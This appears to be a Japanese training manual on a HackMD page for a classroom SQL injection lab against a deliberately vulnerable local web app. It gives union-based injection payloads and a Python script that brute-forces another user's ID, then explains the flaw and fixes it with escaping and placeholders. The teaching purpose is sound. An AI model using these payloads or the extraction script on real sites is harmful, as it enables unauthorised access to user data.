hiroki-1219
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # サイバー攻撃演習 手順書 ## 目次 1. 概要 2. 準備 1. ハードウェア 2. ソフトウェア 3. 攻撃手順 4. 対策と修正方法 5. 付録 1. トラブルシューティング 2. Raspberry Pi 4の準備 ## 概要 - SQL injectionとは、サイトのデータベースを管理するSQL文を自由に発行できてしまい、システムに想定外で不適切な動作をさせることができる脆弱性。 - アプリケーションの脆弱性とは、データベース内のデータに不正にアクセスできてしまうというもの。攻撃者はSQL injectionを使ってサイトの情報にアクセスする。 - (目的)本アプリケーションを通して、SQL injectionの基本的な概要を学び、実際に攻撃を行うことで危険性を理解するともに脆弱性を修正(回避)する方法を理解する。 - ゴール yu1hpaというユーザーのプロフィール画面を表示する。 またそれ以外のユーザーのプロフィールも見れるようにする。 ## 準備 ### ハードウェア 必要なもの(3セット分) - LANケーブル:1セットにつき3本 - HDMIケーブル:1セットにつき1本 - ディスプレイ電源ケーブル:1セットにつき1本 - RaspberryPi4電源ケーブル:1セットにつき3本 - L2スイッチ電源ケーブル - L2スイッチ(3セット共有) - Raspberry Pi4 Computer Model B (4GB RAM) 3台 (攻撃されるwebサーバー) (RPi_1) - Raspberry Pi4 Computer Model B (4GB RAM) 3台 (対策されているwebサーバー) (RPi_2) - Raspberry Pi4 Computer Model B (4GB RAM) 3台 (攻撃用) (RPi_3) - キーボード:3つ - マウス 3つ - ディスプレイ 3つ - 予備の個数 Raspberry Pi4 Model B (4GB RAM):2個 LANケーブル:2本 HDMIケーブル:1本 ディスプレイ電源ケーブル:1本 Raspberry Pi4電源ケーブル:2本 キーボード:7つ マウス:7つ ディスプレイ:1つ ![](https://i.imgur.com/icHqsz3.png) ![](https://i.imgur.com/z5OQzVk.png) ![](https://i.imgur.com/idbqIFy.png) ![](https://i.imgur.com/XR4ezwS.png) ### ネットワーク構築図 VLAN1,2,3と独立したネットワーク![](https://i.imgur.com/U6GdRTD.png) 三つのRPiを、同じネットワーク上で動かす。サブネットマスクが24のネット10.1.1のVLAN011のGi1/0/1とGi1/0/3とGil/0/5に三つのRPiを接続する。同様に、サブネットマスクが24のネット10.1.2のVLAN012のGil/0/13とGil/0/15とGil/0/17に三つのRPiを接続する。サブネットマスクが24のネット10.1.3のVLAN013のGil/0/25とGil/0/27とGil/0/29に三つのRPiを接続する。 ### 準備手順(概要) 1. RPi_1,RPi_2,RPi_3を各VLANに接続する。 2. L2スイッチとRPiをLANケーブルでつなぐ(赤①と橙②) 3. ディスプレイの電源コードをつなげる(青①) 7. ディスプレイとRPiをHDMIケーブルでつなぐ(青②と黄②) 8. マウス、キーボードとRPiをUSBケーブルでつなぐ(橙①) 9. ping飛ばして正しく接続できたか確認する。 ### ソフトウェア -webサーバーとなるRPi OS(raspberry pi os)とdocker -コンピュータとなるRPi OS(raspberry pi os)とブラウザ ### 準備手順(概要) RPi_1,RPi_2 ubuntuで `cd r0uei && docker compose up -d` `docker compose exec r0uei /bin/sh` `bundle exec rake db:migrate` `bundle exec rake db:seed` 登録したユーザーなどをリセットしたいとき `bundle exec rake db:reset` `bundle exec rake db:migrate` `bundle exec rake db:seed` ## 攻撃手順 #### 1. 脆弱性を探す 攻撃を仕掛けるためにはまず攻撃対象のことを詳しく調べなくてはいけない。今回はSQL injection(SQLi)があることが分かっているので、それを主に探していく。2つぐらい適当なアカウントを作って対象のwebサイトを調べる。 ##### <調べる事> * どのような機能があるのか * URLはどう発行されているのか * SQLiができるのはどこか(簡単なSQLi文を打ち込んで反応を見る) (例)`' OR 1=1` `' -- ` `" --` など * ページソースをのぞいてみる(Ctrl+U)     などなど ##### <分かったこと> * login formやsignup formではSQLiは起こせなさそう。 * r0ueiには4つの機能がある。 -- 報告書の作成 -- 他人が書いた報告書を観覧 -- 報告書の検索 -- 自分のプロフィールを確認 * 報告作成(`http://localhost:4567/report/new`) -- 自由な文章を投稿できるがSQLiはできなさそう * 活動報告ログ(`http://localhost:4567/`) -- ユーザー名、投稿した日時、投稿した内容の3つが表示される -- fugaとyu1hpaの2人のユーザーが投稿している * プロフィール -- プロフィールのURLは`http://localhost:4567/users/~~~`となっており、usersのあとの文字列がおそらくUser IDだろう。複数のアカウントで調べると次のこともわかる。 -- User IDは小文字の英数字と「-」で構成されている -- 文字数は必ず36文字になる -- 「-」は必ず同じところに入る * 検索 (`http://localhost:4567/search`) -- 投稿した文章をキーワードで検索できる。ユーザー名や投稿時間で検索はできない。 -- `' -- `を打ち込むと`SQLite3::SQLException: incomplete input`が表示された。SQLiがおこなえるようだ。また使われている言語がSQLite3だということがわかる。 * ログアウトした状態で`http://localhost:4567/search`などに飛ぼうとしてもログイン画面に戻されるが、プロフィールにだけはログインしていなくてもURLを知っていれば直接アクセスできる。 --->User IDがわかれば自由に他のユーザーのプロフィールにアクセスできる。 #### 2. 調べたことから攻撃を考える 検索などでよく使われるSQL文は `SELECT カラム名 FROM テーブル名 WHERE カラム名 LIKE '検索文字';` のようなLIKEを使ったSELECT文であり、今回は投稿した文章のどこにキーワードが入っていても検索できたのでワイルドカードの「%」を使って `SELECT カラム名 FROM テーブル名 WHERE カラム名 LIKE '%検索文字%';` のように書かれていると推測できる。さらに検索で`' -- `を打ち込むと`SQLite3::SQLException: incomplete input`が表示された。このエラーが出てきたときよくあるのが元の文に「(」が含まれていて、それが正常に閉じられていないパターンだ。なので元の文に「()」が含まれていることがわかる。 `SELECT カラム名 FROM テーブル名 WHERE (カラム名 LIKE '%検索文字%');` 試しで`%')--`と入力するとすべての報告が出てくる。これは `SELECT カラム名 FROM テーブル名 WHERE (カラム名 LIKE '%%')--%');` このようなSQL文となり、ーー以降がコメントアウトされることによってワイルドーカードのみ(=すべての報告)が表示されるからである。 ||元の文がある程度推測できたので次はカラムの数を特定していく。 まず`#')`で前方のSELECT文で何もヒットしないようにしておく。`UNION`の特徴として前後のつなげるSELECT文の返す列の数が同じでないとエラーを起こしてしまうというものがあるので `#') UNION SELECT 1 --` を打ち込むと `SQLite3::SQLException: SELECTs to the left and right of UNION do not have the same number of result columns` 左右の列の数が違うというエラーが出て、列の数が1ではないことが分かる。この文で1,2,3・・・と増やしていけば列の数を特定できる。 `#') UNION SELECT 1 --` `#') UNION SELECT 1, 2 --`|| ||3に増やしたところで別のエラーが出てきた。なので列の数は3だと特定できた。 `undefined method ‘[]' for nil:NilClass` ||3つのカラム名とテーブル名を推測する。3つのカラムはそれぞれ検索で出てきたユーザー名と投稿時間、投稿内容の3つだとわかる。なので カラム名:`user_id` `created_at` `report` テーブル名:`reports` || ||テーブル名とカラム名がわかったので、攻撃する文を作る。 今回はUnion Based SQLiを行う。 まずは適当に打ち込んでみる `#') UNION SELECT user_id, user_id, user_id FROM reports --` エラーが出てしまった。 `yday 659 out of range` 名称的にcreated_atのところで変数の範囲外に出てしまっているようだ。おそらく数値を日付に変換する処理が途中で挟まることによってエラーが出ている。ということで最後の列名だけ変える。 `#') UNION SELECT user_id, user_id, created_at FROM reports --` || **!すべてのユーザーのuser_idを表示することができた!** あとは`http://localhost:4567/users/{user_id}`でプロフィールに飛ぶことができる。 ### 別解 >-- User IDは小文字の英数字と「-」で構成されている -- 文字数は必ず36文字になる -- 「-」は必ず同じところに入る > この情報から別の方法でuser_idを取ることもできる。 `#' OR user_id LIKE'a%')--` このSQL文でuser_idがaから始まるユーザーを検索できる。yu1hpaというユーザーが引っかかるまで小文字の英数字と「-」を総当たりしそれを36文字ぶん繰り返せばuser_idを知ることができる。しかしさすがに手作業では大変なのでプログラムを書いて自動化する。 今回はpythonで書いていく。(他の言語で書いても良い) pythonでは`requests`でwebページにアクセスでき、`BeautifulSoup`で文字情報を取得できる。 ```python import requests from bs4 import BeautifulSoup session = requests.session()#sessionの開始 session.post(URL, data=送りたいデータ)#情報をページに送信する session.get(URL)#URLのページの情報を取得 ``` r0ueiはログインしないとURLで飛んでもログイン画面に戻されてしまうのでログインからしなければいけない。なのでまずはログイン画面のページソースを見てみる。(Ctrl+U) ```htmlmixed <div class="login"> <form action="/auth"method="post">//(http://localhost:4567/auth)に送っている <div> <div class="login__input"> <div> <p>名前</p> <p>パスワード</p> </div> <div> <input type="text" name="username" maxlength="20" />//usernameを送っている <input type="password" name="passwd" maxlength="20" />//passwdを送っている </div> </div> <input type="submit" value="ログイン" class="login__input--submit" /> </div> ``` username,passwdを`http://localhost:4567/auth`に送っていることがわかった。 ```python import requests from bs4 import BeautifulSoup url_login = "http://localhost:4567/auth" session = requests.session() USER="登録したユーザー名" PASS="登録したパスワード" login_info = { "username":USER, "passwd":PASS } res1 = session.post(url_login, data=login_info) print(res1.text)#うまくログインできているか ``` これでログインすることができた。次は検索画面のページソースを見てみる。 ```htmlmixed <div class="search_wrapper"> <div class="search_form-wrapper"> <form action="/search" method="post">//(http://localhost:4567/search)に送っている <div class="search_input_wrapper"> <div> <input type="text" name="searching_text"//searching_textを送っている maxlength="140" placeholder="キーワード" /> </div> <input type="submit" value="検索" /> </div> </form> </div> <h2>検索結果</h2> <div class="search_report"><article class="report"><span class="username">fuga</span><span class="date">2023/01/17 06:28</span><p>~~~~~</p> </div> ``` `http://localhost:4567/search`にsearching_textを送っていることが分かった。また`class="username"`にusernameが返ってくることも分かった。 ```python SEARCH="a" search_info = { "searching_text":SEARCH } res2 = session.post(url_search, data=search_info) soup = BeautifulSoup(res2.text, "html.parser") users = soup.select('.username') for a in users: print(a.get_text())#検索されたユーザーネームを表示する ``` これで検索で引っかかったユーザー名を調べることもできるようになった。あとは検索したい文字列をSQLiに変換してくれる関数を作る。上のコードを少し変えて、 ```python def user_search(x): SEARCH=f"#' OR user_id LIKE'{x}%')--" search_info = { "searching_text":SEARCH } res2 = session.post(url_search, data=search_info) #print(res2.text) soup = BeautifulSoup(res2.text, "html.parser") users = soup.select('.username') for a in users: if a.get_text() == "yu1hpa": return(True) break ``` これで検索したSQLi文に引っかかったユーザーがyu1hpaの時にTrueを返す関数が作れた。あとはこれに`"0123456789abcdefghijklmnopqrstuvwxyz-"`を一つづつ入れていって調べるだけだが、さすがに36文字すべてで一から調べるのは時間がかかってしまう。そこで`#' OR user_id LIKE'%a%')--`このSQLi文でuser_idに「a」が入っているユーザーを検索できるのを利用して、最初に調べたいユーザーのuser_idに含まれている文字を特定してから総当たりをしていく。 ```python c = "0123456789abcdefghijklmnopqrstuvwxyz" select_c = "-"#「-」は必ず含まれていることがわかっているためあらかじめ選んでおく print("Character Searching ...") for q in c: r = "%" + q if user_search(r): select_c = select_c + q print(select_c)#確認用 ``` これで調べる文字をかなり絞ることができた。あとはこの中から36文字それぞれを総当たりで特定していく。 ```python pas = "" print("user_id searching ...") for j in range(36):#36文字分 print(f"{j+1}文字目")#わかりやすくするため for i in select_c: i = pas+i if user_search(i): pas = i break print("user_id is "+pas) ``` 最終的なコード ```python import requests from bs4 import BeautifulSoup url_login = "http://localhost:4567/auth" url_search = "http://localhost:4567/search" session = requests.session() ##login USER="登録したユーザー名" PASS="登録したパスワード" login_info = { "username":USER, "passwd":PASS } session.post(url_login, data=login_info) ##search def user_search(x): SEARCH=f"#' OR user_id LIKE'{x}%')--" search_info = { "searching_text":SEARCH } res2 = session.post(url_search, data=search_info) soup = BeautifulSoup(res2.text, "html.parser") users = soup.select('.username') for a in users: if a.get_text() == "yu1hpa": return(True) break c = "0123456789abcdefghijklmnopqrstuvwxyz" select_c = "-"#「-」は必ず含まれていることがわかっているためあらかじめ選んでおく pas = "" print("Character Searching ...") for q in c: r = "%" + q if user_search(r): select_c = select_c + q print("user_id searching ...") for j in range(36):#36文字分 print(f"{j+1}文字目")#わかりやすくするため for i in select_c: i = pas+i if user_search(i): pas = i break print("user_id is " + pas) ``` これよりも早い処理を組めるかもしれないし、今回紹介した以外の方法でも`user_id`を盗むことができるかもしれないのでぜひ挑戦してみてほしい。 ## 対策と修正方法 ### 対策 1. 攻撃の解析 今回のサイバー攻撃演習で使用したWebアプリケーションでは、報告書の検索窓でSQLインジェクションを行ったことにより、自分以外のユーザーの情報(`user_id`)を得ることができた。 Webアプリケーションのソースコードを見ると、入力された文字列の検索を行うPOSTリクエストであるsearchが定義されており、ここで行われている処理の中に脆弱性があると見当をつけることができる。この処理では、次のSQL文によってデータベースに対して問い合わせを行っている。 ```sql SELECT "reports".user_id, "reports".report, "reports".created_at FROM reports WHERE (report LIKE'%<検索する文字列>%') ``` ユーザーは`/search`にアクセスして、表示されている検索窓に文字列を入力することで、 もともと用意されていたSQL文に埋め込まれることによって実際にデータベースに問い合わせを 行うSQL文が完成する。ここで、検索する文字列に対して、自分以外のユーザー情報をリークする攻撃で用いた文字列`') UNION SELECT user_id, user_id, created_at FROM reports; --`を入力する。このとき、実際にデータベースに問い合わせを行うSQL文は以下のようになる。 ```sql SELECT "reports".user_id, "reports".report, "reports".created_at FROM reports WHERE (report LIKE'%') UNION SELECT user_id, user_id, created_at FROM reports; -- %') ``` このSQL文は、テーブルreportsのuser_id, report, created_atの情報の他に、reportの位置でuser_idを表示するような検索結果を結合したような結果を返すように問い合わせを行う。 `report_component`メソッドを見ると、本来reportが表示される箇所はそのまま表示を行うような処理になっている。そのため、reportの位置にuser_idの結果を結合することでuser_idを検索結果としてそのまま表示できてしまう。 ```ruby def report_component(r_report) user = User.find_by(user_id: r_report["user_id"]) r = "<article class=\"report\">" r += "<span class=\"username\">#{user["username"]}</span>" r += "<span class=\"date\">#{extract_yyyyMMdd(r_report["created_at"])}</span>" r += "<p>#{r_report["report"]}</p>" r += "</article>" return r end ``` 以上から、検索窓には脆弱性があり、攻撃者はSQLインジェクションを行うことで`user_id`を取得できることが分かる。 2. SQLインジェクションが発生した原因 この脆弱性ができてしまった理由として、検索する文字列をSQL文の途中で連結するような 処理にしたためである。このような仕様にすると、検索する文字列はSQL文では文字列として扱われないといけないため、必ずシングルクォーテーションやダブルクォーテーションをくくり文字列リテラルとしなければならない。しかし、攻撃者は文字列の中でシングルクォーテーションやダブルクォーテーションを意図的に入れることで、好きな箇所で文字列リテラルを閉じることができるため、検索窓のみでSQL文の記述を自由に行うことができるようになってしまう。 3. SQlインジェクションの対策 SQLインジェクションが発生した原因より、検索する文字列がSQL文の途中で連結するような 処理にしたためであることがわかった。そのため、SQLインジェクションの対策としては、 次のような方法が挙げられる。 - シングルクォーテーションやダブルクオーテーションなどSQL文に対して意味を持つような記号をエスケープする処理を行ったあとにSQL文に連結する。 - プレースホルダを用いる プレースホルダとは、SQL文に対して検索する文字列などのパラメータを記号で表しておき、 問い合わせを行う際には実際の値を機械的な処理で割り当てる方法である。SQLには通常、プレースホルダを用いてSQL文を組み立てる仕組みを持っている。 ### 修正方法 - シングルクォーテーションをエスケープする方法 Webアプリケーション中では、`ActiveRecord::Base.connection.execute`メソッドによって検索する文字列`params[:searching_text]`を結合したSQL文が実行される。 ```ruby s = ActiveRecord::Base.connection.execute("SELECT \"reports\".user_id, \"reports\".report, \"reports\".created_at FROM reports WHERE (report LIKE'%#{params[:searching_text]}%')") ``` この`params[:searching_text]`は記号のエスケープ処理を行っていないため、シングルクォーテーションなどがSQLの記号とみなされたことによりSQLインジェクションが発生する。 そこで、これらの記号に対してエスケープを事前に行うことによって、SQLインジェクションが発生しないようにする。文字列のエスケープではgsubを用いて、正規表現によりシングルクォーテーションを探し、それをhtmlで表示するための文字コードでシングルクォーテーションを表す`&apos;`に置き換えている。 ```ruby searching_text = params[:searching_text].gsub(/\'/, "&apos;") s = ActiveRecord::Base.connection.execute("SELECT \"reports\".user_id, \"reports\".report, \"reports\".created_at FROM reports WHERE (report LIKE'%#{searching_text}%')") ``` - プレースホルダによる方法 プレースホルダを用いることで、SQL文の問い合わせを行う際に実際の値を機械的な処理によって割り当てることができる。実際に値を割り当てる箇所にはクエスションマークを用いて、その後そこに割り当てる値を入力する。reportsテーブルは`app.rb`内で、Reportクラスに割り当てているので、`Report.where`を用いることで検索することができる。 ```ruby s = Report.where("report LIKE ?", "%#{params[:searching_text]}%") ``` 実際にこれが実装されたサーバーにアクセスし、同様な攻撃を行ったとしてもSQLインジェクションができないことが確認できる。 ## 付録 ### トラブルシューティング RaspberryPi4でbundle initしたときに`Operation not permitted - clock_gettime`が出る問題について - libseccompを最新のものに更新する https://takagi.blog/docker-containers-not-working-time-sync-on-raspberry-pi/ - 現在入っているものは`libseccomp2_2.5.4-1+b2_armhf.deb` ### Raspberry Pi4の準備 1. sshポート開放 microSDをPCで読み込み、空のsshファイルを追加 2. wifiの接続 ``` wpa_passphrase "ESSID" "pass" sudo nano /etc/wpa_supplicant/wpa_supplicant.conf sudo rfkill unblock wifi sudo ifconfig wlan0 down sudo ifconfig wlan0 up ``` 3. TimeZone設定 ``` sudo raspi-config ``` 4. update ``` sudo apt-get update --allow-releaseinfo-change sudo apt-get full-upgrade ``` 5. dockerのインストール [docker install for debian](https://docs.docker.com/engine/install/debian/) ``` sudo gpasswd -a pi docker ``` 6. libseccompの最新版のインストール ``` wget http://ftp.debian.org/debian/pool/main/libs/libseccomp/libseccomp2_2.5.4-1+b2_armhf.deb sudo dpkg -i libseccomp2_2.5.4-1+b2_armhf.deb ``` 7. 固定ip割り当て ``` sudo nano /etc/dhcpcd.conf <<< interface eth0 static ip_address=10.1.1.2/24<IP> static routers=10.1.1.0 static domain_name_servers=8.8.8.8 >>> ```

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully